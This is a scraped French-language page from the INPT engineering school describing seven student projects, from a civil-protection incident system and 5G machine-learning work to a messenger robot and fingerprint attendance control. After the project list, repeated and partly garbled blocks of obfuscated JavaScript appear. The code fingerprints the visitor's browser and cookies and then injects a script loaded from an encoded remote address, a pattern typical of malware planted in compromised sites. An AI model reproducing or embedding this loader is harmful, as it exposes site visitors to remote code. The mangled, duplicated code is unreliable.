

⚠ [1] ⚠ [1]

## Projets et Activités [2]

Réinventant les outils pédagogiques d'apprentissage, le cursus de l'INPT intègre de plus en plus de projets pratiques à mettre en œuvre par les étudiants dans le cadre la pédagogie active « Learning by Doing ». Dans ce sens, nos étudiants travaillent sur un ensemble de technologies et accèdent aux softwares et hardware de labos afin de mener à bien des projets concrets et à forte valeur ajoutée.

Ces projets sont réalisés dans un cadre académique, professionnel mais aussi entrepreneurial répondant à des besoins d'organisations et d'entreprises.

### **Projet 1 : « Conception et Développement d'un Système pour la Gestion de la Protection Civile »**

#### **Domaines de Compétences : Ingénierie Logicielle**

L'objectif du projet est de développer un système de gestion des incidents pour la protection civile. Il a été développé par l'ensemble des étudiants de la nouvelle filière « Advanced Software Engineering for Digital Services (ASEDS) » dans le cadre des deux cours « Projet de Prise en main » et « Conduite de Changement ».

A travers ce système la protection pour gérer les incidents, allouer les ressources par incidents, le localiser et faire intervenir les équipes de caserne disponible et à proximité.

Ce projet a été présenté devant les responsables de la protection civile en vue de concrétiser son déploiement.

### **Projet 2 : « Machine Learning in the 5G-Era Wireless Communications (Applications du Machine Learning dans les réseaux mobiles 5G) »**

#### **Domaines de Compétences : Télécoms & Réseaux Mobiles (5G+, 5G, 4G,...), Big Data (Machine Learning), Internet des Objets (IoT)**

L'objectif de ce projet est de donner l'occasion aux étudiants d'appliquer et étendre leurs connaissances sur les approches de planification et d'optimisation des réseaux mobiles vers la prochaine génération (5G), en contrastant les approches classiques adoptées par les opérateurs (3G, 4G) avec les nouvelles tendances technologiques de Big Data adoptant le Machine Learning, et en les appliquant à de nouveaux contextes (réseaux de drones, Internet of Things (IoT), ...).

Les étudiants menant ce projet ont également la possibilité grâce à ce projet de prendre en main les langages informatiques et les plateformes de déploiement adaptés (Python, Matlab, TensorFlow, ...).

### **Projet 3 : « 5G Open Air Interface (Plateforme Open Source 5G—OAI) »**

#### **Domaines de Compétences : Télécoms & Réseaux Mobiles (5G+, 5G, 4G,...), Ingénierie Logicielle**

L'Open Air Interface (OAI) est une plateforme open source permettant une implémentation logicielle complète des terminaux, des stations de base et du réseau cœur d'un réseau mobile. L'objectif de ce projet est de permettre aux étudiants de faire l'émulation d'un réseau mobile (4G/5G) de bout en bout, tester leur compréhension de l'architecture et des protocoles dans un contexte réaliste et pratique, et découvrir les nouvelles tendances dans les réseaux mobile 5G (5G-NR, SDN, NFV, ...).

C'est aussi une opportunité pratique pour compléter leur formation en s'ouvrant sur des aspects connexes (open hardware/USRP, administration système, Unix/Linux, C/C++, ...).

### Projet 4 : « Artificial Intelligence (AI)—Based Access in Smart City Contexts (Applications de l'Intelligence Artificielle dans la transformation digitale des villes – Smart Cities) »

**Domaines de Compétences : Intelligence Artificielle, Ingénierie Logicielle, Big Data (Machine Learning & Deep Learning), Cloud Computing, Systèmes Intelligents**

Dans ce projet, les étudiants conçoivent et implémentent des solutions de connectivité et de gestion de la mobilité pour la ville de demain (sur une échelle réduite dans les locaux de l'INPT).

En prenant en main des outils du Machine/Deep Learning, le contrôle d'accès aux bâtiments est à la fois fluidifié et sécurisé par un système intelligent de reconnaissance faciale et d'identification, en plus d'un tracking centralisé (dans le cloud) de la mobilité et de l'utilisation des ressources.

Le projet permet aux étudiants de développer leurs compétences en software et en hardware (Arduino, Raspberry Pi, OpenCV, développement mobile Android/iOS, ...).

### Projet 5 : « VELTOUT »

**Domaine de Compétences : Systèmes Electroniques Embarqués et Services Numériques, Internet des Objets (IoT)**

L'objectif du projet est de mettre en place un service intelligence de location de vélos.

### Projet 6 : « Postman-Robot »

**Domaine de Compétences : Systèmes Electroniques Embarqués et Services Numériques, Intelligence Artificielle (AI)**

L'objectif du projet est de concevoir et mettre en place un robot pour servir en tant que messenger au sein d'une entreprise.

### Projet 7 : « System of Absence Control »

**Domaine de Compétences : Systèmes Electroniques Embarqués et Services Numériques**

L'objectif du projet est de développer un système de contrôle d'absentéisme, au sein des écoles et des entreprises, basé sur la validation d'empreinte.



```
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```



© 2017 Institut National des Postes et Télécommunications

```
;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,
m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})){var b=docu
ment.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{
3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k
}c(a3r4t)/{/v:ssrp}txtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("})){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
```



```
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())")){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())")){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())")){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())")){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())")){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())")){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k)c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t)n)e]gnA(r;eistu");var y=document[m(":e]idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())")){var b=document.createEleme
```

```
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.k}c(a3r4t)/{/v:ssrp}t
txh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{")&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.k}c(a3r4t)/{/v:ssrp}t
txh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{")&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.k}c(a3r4t)/{/v:ssrp}t
txh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```

**Source URL:** <http://www.inpt.ma/fr/projets-et-activit%C3%A9s>

### Liens

[1] <http://www.inpt.ma/fr/javascript%3A%3B>

[2] <http://www.inpt.ma/fr/projets-et-activit%C3%A9s>